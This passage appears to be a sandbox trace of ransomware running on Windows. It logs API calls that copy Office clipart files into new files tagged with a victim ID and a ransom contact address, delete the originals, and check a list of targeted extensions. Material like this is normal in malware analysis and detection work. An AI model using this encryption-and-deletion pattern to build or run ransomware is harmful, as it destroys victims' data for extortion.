	[0168.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0168.030] GetLastError () returned 0x0
	[0168.030] ReadFile (in: hFile=0x440, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x2bd0, lpOverlapped=0x0) returned 1
	[0168.043] WriteFile (in: hFile=0x4cc, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x2be0, lpOverlapped=0x0) returned 1
	[0168.044] ReadFile (in: hFile=0x440, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.044] WriteFile (in: hFile=0x4cc, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0168.045] SetEndOfFile (hFile=0x4cc) returned 1
	[0168.045] CloseHandle (hObject=0x4cc) returned 1
	[0168.045] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.045] SetEndOfFile (hFile=0x440) returned 1
	[0168.048] CloseHandle (hObject=0x440) returned 1
	[0168.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0168.049] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf")) returned 1
	[0168.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68
	[0168.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68
	[0168.050] lstrlenW (lpString=".doc") returned 4
	[0168.050] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.050] lstrlenW (lpString=".docx") returned 5
	[0168.050] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0168.050] lstrlenW (lpString=".pdf") returned 4
	[0168.050] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.050] lstrlenW (lpString=".xls") returned 4
	[0168.050] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.050] lstrlenW (lpString=".xlsx") returned 5
	[0168.050] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0168.050] lstrlenW (lpString=".ppt") returned 4
	[0168.050] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68
	[0168.050] lstrlenW (lpString=".zip") returned 4
	[0168.051] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.051] lstrlenW (lpString=".rar") returned 4
	[0168.051] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.051] lstrlenW (lpString=".bz2") returned 4
	[0168.051] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.051] lstrlenW (lpString=".7z") returned 3
	[0168.051] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68
	[0168.051] lstrlenW (lpString=".dbf") returned 4
	[0168.051] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68
	[0168.051] lstrlenW (lpString=".1cd") returned 4
	[0168.051] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68
	[0168.051] lstrlenW (lpString=".jpg") returned 4
	[0168.051] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68
	[0168.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68
	[0168.051] lstrlenW (lpString=".doc") returned 4
	[0168.051] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.051] lstrlenW (lpString=".docx") returned 5
	[0168.051] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0168.051] lstrlenW (lpString=".pdf") returned 4
	[0168.051] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.052] lstrlenW (lpString=".xls") returned 4
	[0168.052] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.052] lstrlenW (lpString=".xlsx") returned 5
	[0168.052] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0168.052] lstrlenW (lpString=".ppt") returned 4
	[0168.052] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68
	[0168.052] lstrlenW (lpString=".zip") returned 4
	[0168.052] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.052] lstrlenW (lpString=".rar") returned 4
	[0168.052] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.052] lstrlenW (lpString=".bz2") returned 4
	[0168.052] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.052] lstrlenW (lpString=".7z") returned 3
	[0168.052] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68
	[0168.052] lstrlenW (lpString=".dbf") returned 4
	[0168.052] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68
	[0168.052] lstrlenW (lpString=".1cd") returned 4
	[0168.052] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68
	[0168.052] lstrlenW (lpString=".jpg") returned 4
	[0168.052] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.052] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0168.053] lstrlenW (lpString="J0102984.WMF") returned 12
	[0168.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0168.054] GetFileSizeEx (in: hFile=0x440, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=17040) returned 1
	[0168.054] CloseHandle (hObject=0x440) returned 1
	[0168.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf")) returned 0x220
	[0168.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0168.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0168.054] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.054] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0168.055] GetLastError () returned 0x0
	[0168.056] ReadFile (in: hFile=0x440, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x4290, lpOverlapped=0x0) returned 1
	[0168.058] WriteFile (in: hFile=0x4cc, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x42a0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x42a0, lpOverlapped=0x0) returned 1
	[0168.060] ReadFile (in: hFile=0x440, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.060] WriteFile (in: hFile=0x4cc, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0168.060] SetEndOfFile (hFile=0x4cc) returned 1
	[0168.060] CloseHandle (hObject=0x4cc) returned 1
	[0168.060] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.060] SetEndOfFile (hFile=0x440) returned 1
	[0168.064] CloseHandle (hObject=0x440) returned 1
	[0168.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0168.065] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf")) returned 1
	[0168.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68
	[0168.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68
	[0168.066] lstrlenW (lpString=".doc") returned 4
	[0168.066] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.066] lstrlenW (lpString=".docx") returned 5
	[0168.067] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0168.067] lstrlenW (lpString=".pdf") returned 4
	[0168.067] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.067] lstrlenW (lpString=".xls") returned 4
	[0168.067] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.067] lstrlenW (lpString=".xlsx") returned 5
	[0168.067] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0168.067] lstrlenW (lpString=".ppt") returned 4
	[0168.067] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68
	[0168.067] lstrlenW (lpString=".zip") returned 4
	[0168.067] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.067] lstrlenW (lpString=".rar") returned 4
	[0168.067] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.067] lstrlenW (lpString=".bz2") returned 4
	[0168.067] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.067] lstrlenW (lpString=".7z") returned 3
	[0168.067] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68
	[0168.067] lstrlenW (lpString=".dbf") returned 4
	[0168.067] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68
	[0168.067] lstrlenW (lpString=".1cd") returned 4
	[0168.067] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68
	[0168.067] lstrlenW (lpString=".jpg") returned 4
	[0168.067] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68
	[0168.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68
	[0168.068] lstrlenW (lpString=".doc") returned 4
	[0168.068] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.068] lstrlenW (lpString=".docx") returned 5
	[0168.068] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0168.068] lstrlenW (lpString=".pdf") returned 4
	[0168.068] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.068] lstrlenW (lpString=".xls") returned 4
	[0168.068] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.068] lstrlenW (lpString=".xlsx") returned 5
	[0168.068] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0168.068] lstrlenW (lpString=".ppt") returned 4
	[0168.068] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68
	[0168.068] lstrlenW (lpString=".zip") returned 4
	[0168.068] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.068] lstrlenW (lpString=".rar") returned 4
	[0168.068] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.068] lstrlenW (lpString=".bz2") returned 4
	[0168.068] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.068] lstrlenW (lpString=".7z") returned 3
	[0168.068] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68
	[0168.068] lstrlenW (lpString=".dbf") returned 4
	[0168.068] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68
	[0168.068] lstrlenW (lpString=".1cd") returned 4
	[0168.068] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68
	[0168.069] lstrlenW (lpString=".jpg") returned 4
	[0168.069] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.069] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0168.069] lstrlenW (lpString="J0103058.WMF") returned 12
	[0168.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0168.070] GetFileSizeEx (in: hFile=0x440, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=17344) returned 1
	[0168.070] CloseHandle (hObject=0x440) returned 1
	[0168.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf")) returned 0x220
	[0168.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0168.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0168.071] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.071] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0168.072] GetLastError () returned 0x0
	[0168.072] ReadFile (in: hFile=0x440, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x43c0, lpOverlapped=0x0) returned 1
	[0168.353] WriteFile (in: hFile=0x4cc, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x43d0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x43d0, lpOverlapped=0x0) returned 1
	[0168.354] ReadFile (in: hFile=0x440, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.354] WriteFile (in: hFile=0x4cc, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0168.355] SetEndOfFile (hFile=0x4cc) returned 1
	[0168.355] CloseHandle (hObject=0x4cc) returned 1
	[0168.355] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.355] SetEndOfFile (hFile=0x440) returned 1
	[0168.365] CloseHandle (hObject=0x440) returned 1
	[0168.365] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0169.348] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf")) returned 1
	[0169.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68
	[0169.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68
	[0169.349] lstrlenW (lpString=".doc") returned 4
	[0169.349] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.349] lstrlenW (lpString=".docx") returned 5
	[0169.349] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0169.349] lstrlenW (lpString=".pdf") returned 4
	[0169.349] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.349] lstrlenW (lpString=".xls") returned 4
	[0169.349] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.349] lstrlenW (lpString=".xlsx") returned 5
	[0169.349] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0169.349] lstrlenW (lpString=".ppt") returned 4
	[0169.349] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68
	[0169.349] lstrlenW (lpString=".zip") returned 4
	[0169.349] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.349] lstrlenW (lpString=".rar") returned 4
	[0169.349] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.349] lstrlenW (lpString=".bz2") returned 4
	[0169.349] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.349] lstrlenW (lpString=".7z") returned 3
	[0169.349] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68
	[0169.350] lstrlenW (lpString=".dbf") returned 4
	[0169.350] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68
	[0169.351] lstrlenW (lpString=".1cd") returned 4
	[0169.351] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68
	[0169.351] lstrlenW (lpString=".jpg") returned 4
	[0169.351] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68
	[0169.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68
	[0169.351] lstrlenW (lpString=".doc") returned 4
	[0169.351] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.351] lstrlenW (lpString=".docx") returned 5
	[0169.351] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0169.351] lstrlenW (lpString=".pdf") returned 4
	[0169.351] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.352] lstrlenW (lpString=".xls") returned 4
	[0169.352] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.352] lstrlenW (lpString=".xlsx") returned 5
	[0169.352] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0169.352] lstrlenW (lpString=".ppt") returned 4
	[0169.352] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68
	[0169.352] lstrlenW (lpString=".zip") returned 4
	[0169.352] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.352] lstrlenW (lpString=".rar") returned 4
	[0169.352] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.352] lstrlenW (lpString=".bz2") returned 4
	[0169.352] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.352] lstrlenW (lpString=".7z") returned 3
	[0169.352] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68
	[0169.352] lstrlenW (lpString=".dbf") returned 4
	[0169.352] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68
	[0169.352] lstrlenW (lpString=".1cd") returned 4
	[0169.352] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68
	[0169.352] lstrlenW (lpString=".jpg") returned 4
	[0169.352] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.353] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0169.353] lstrlenW (lpString="J0105238.WMF") returned 12
	[0169.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8
	[0169.474] GetFileSizeEx (in: hFile=0x4f8, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=17172) returned 1
	[0169.474] CloseHandle (hObject=0x4f8) returned 1
	[0169.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf")) returned 0x220
	[0169.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0169.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0169.781] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
